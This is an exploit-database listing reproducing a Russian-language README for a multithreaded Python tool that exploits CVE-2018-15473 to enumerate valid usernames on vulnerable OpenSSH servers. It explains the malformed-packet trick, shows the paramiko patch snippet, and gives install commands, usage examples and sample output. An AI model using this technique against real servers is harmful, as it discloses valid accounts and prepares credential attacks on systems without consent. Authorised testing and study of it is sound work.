Sploitus

Exploit for Threaded

kitploit · 2026-08-22

Exploit Code

MARKDOWN233 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-K3RN3L-32-THREADED-CVE-2018-15473
# CVE-2018-15473 — Инструмент перебора имен пользователей SSH

> Репликация на Python 3 классического эксплойта перечисления пользователей OpenSSH CVE-2018-15473, расширенная многопоточностью, поддержкой wordlist, автоматическим обнаружением уязвимости и потокобезопасным патчем эксплойта.

* * *

## Содержание

  * Об уязвимости
  * Как работает эксплойт
  * Возможности
  * Требования
  * Установка
  * Использование
  * Примеры
  * Авторы и оригинальное исследование
  * Отказ от ответственности



* * *

## Об уязвимости

**CVE-2018-15473** — это уязвимость перечисления пользователей, затрагивающая версии OpenSSH **с 2.3 по 7.7**.

Уязвимость возникает из-за тонкой разницы в том, как сервер OpenSSH реагирует на попытки аутентификации для **существующих** и **несуществующих** имен пользователей. Отправляя некорректный пакет аутентификации с открытым ключом, злоумышленник может наблюдать за поведением сервера и определить, существует ли данное имя пользователя в системе — без необходимости знать пароль пользователя.

Эта информация может стать важным первым шагом в целенаправленной атаке методом перебора или подбора учётных данных.

Деталь| Значение  
---|---  
CVE ID| CVE-2018-15473  
Затронутые версии| OpenSSH 2.3 – 7.7  
Оценка CVSS| 5.3 (Средний)  
  
* * *

## Как работает эксплойт

Обычно процесс аутентификации OpenSSH выглядит так:

root@kitploit:~
    
    
    Client → MSG_SERVICE_REQUEST  → Server
    Client ← MSG_SERVICE_ACCEPT   ← Server
    Client → MSG_USERAUTH_REQUEST → Server
    Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
    

Эксплойт злоупотребляет стадией `MSG_SERVICE_ACCEPT`. Когда сервер отправляет обратно `MSG_SERVICE_ACCEPT`, клиент должен добавить логическое поле в последующий пакет `MSG_USERAUTH_REQUEST`. **Заменив метод`Message.add_boolean` в paramiko на пустую операцию**, инструмент отправляет **некорректный/усечённый пакет аутентификации**.

Сервер OpenSSH ведёт себя по-разному в зависимости от того, существует ли имя пользователя:

  * **Несуществующее имя** → Сервер немедленно отклоняет запрос с `MSG_USERAUTH_FAILURE` (имя не существует, нет смысла проверять ключ)
  * **Существующее имя** → Сервер вызывает исключение `AuthenticationException` (он попытался проверить ключ, подтверждая, что пользователь существует)



Этот инструмент перехватывает эти два ответа через модифицированные обработчики paramiko (`_parse_userauth_failure` и `_parse_service_accept`) и классифицирует каждое имя пользователя соответствующим образом.

### Исправление потокобезопасности

Оригинальный PoC патчит `add_boolean` **навсегда** , что вызывает состояние гонки при одновременной работе нескольких потоков — потоки мешают друг другу, создавая ложные ошибки `SSH negotiation failed`. В этой реаллизации патч обёрнут в `threading.Lock()`, что делает замену атомарной:

root@kitploit:~
    
    
    with _patch_lock:
        real_add_boolean = paramiko.message.Message.add_boolean
        paramiko.message.Message.add_boolean = _add_boolean_noop
        try:
            result = original_service_accept(auth_handler, m)
        finally:
            paramiko.message.Message.add_boolean = real_add_boolean
    

* * *

## Возможности

  * **Проверка одного имени пользователя** — быстрый одноразовый режим
  * **Режим wordlist** — перечисление полного списка имён пользователей
  * **Многопоточность** — настраиваемое количество потоков, всё потокобезопасно
  * **Автоматическое обнаружение уязвимости** — использует `nmap` для проверки, запущена ли на цели уязвимая версия OpenSSH перед сканированием
  * **Дедупликация** — автоматически удаляет дубликаты имён пользователей из wordlist
  * **Чистый вывод** — цветные результаты с итоговым отчётом



* * *

## Требования

  * Python 3.8+
  * `paramiko`
  * `python-nmap`
  * `nmap` (системный бинарный файл, должен быть установлен)



* * *

## Установка

root@kitploit:~
    
    
    git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
    cd CVE-2018-15473
    
    # Создайте и активируйте виртуальное окружение (рекомендуется)
    python3 -m venv venv
    source venv/bin/activate
    
    # Установите зависимости
    pip install paramiko python-nmap
    

Убедитесь, что `nmap` установлен в системе:

root@kitploit:~
    
    
    # Debian/Ubuntu/Kali
    sudo apt install nmap
    

* * *

## Использование

root@kitploit:~
    
    
    usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
    
    positional arguments:
      target                Target IP address
    
    options:
      -h, --help            show this help message and exit
      -p, --port PORT       SSH port (default: 22)
      -t, --threads THREADS Threads for wordlist mode (default: 3)
      -u USERNAME           Single username to check
      -U WORDLIST           Path to wordlist file
    

* * *

## Примеры

**Проверка одного имени пользователя:**

root@kitploit:~
    
    
    python main.py 192.168.1.10 -u root
    

**Перечисление wordlist с потоками по умолчанию:**

root@kitploit:~
    
    
    python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
    

**Перечисление с пользовательским количеством потоков и портом:**

root@kitploit:~
    
    
    python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
    

**Пример вывода:**

root@kitploit:~
    
    
    [*] Scanning 192.168.56.109:22 ...
    [*] Target running OpenSSH version: 4.7
    [+] Target is VULNERABLE to CVE-2018-15473
    
    [*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
    [*] Target   : 192.168.56.109:22
    [*] Threads  : 10
    
      [+] root     <- VALID
      [+] service  <- VALID
      [-] guest
      [-] admin
      ...
    
    ─────────────────────────────────────────────
    [*] Scan complete in 3.87s
    [*] Checked  : 12 usernames
    [*] Threads  : 10
    
    [+] Valid    (2)  : ['root', 'service']
    [-] Invalid  (8)
    [!] Errors   (2)  : ['postgres', 'temp']
    

* * *

## Авторы и оригинальное исследование

Этот инструмент представляет собой реаллизацию на Python 3 и расширение оригинального доказательства концепции эксплойта. Полная заслуга в обнаружении и документировании этой уязвимости принадлежит оригинальным исследователям:  
  
Оригинальный эксплойт: https://leapsecurity.io

Эта реаллизация добавляет:

  * Совместимость с Python 3 (оригинал был на Python 2)
  * Потокобезопасный патч эксплойта (исправление состояния гонки)
  * Режим wordlist с многопоточностью
  * Автоматическое обнаружение уязвимости на основе nmap
  * Структурированный отчёт результатов



* * *

## Отказ от ответственности

> Этот инструмент предназначен **только для образовательных целей и авторизованного тестирования на проникновение**.  
>  Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, **является незаконным** и **неэтичным**.  
>  Автор не несёт ответственности за любое неправильное использование данного программного обеспечения.  
>  Всегда практикуйте ответственное раскрытие информации.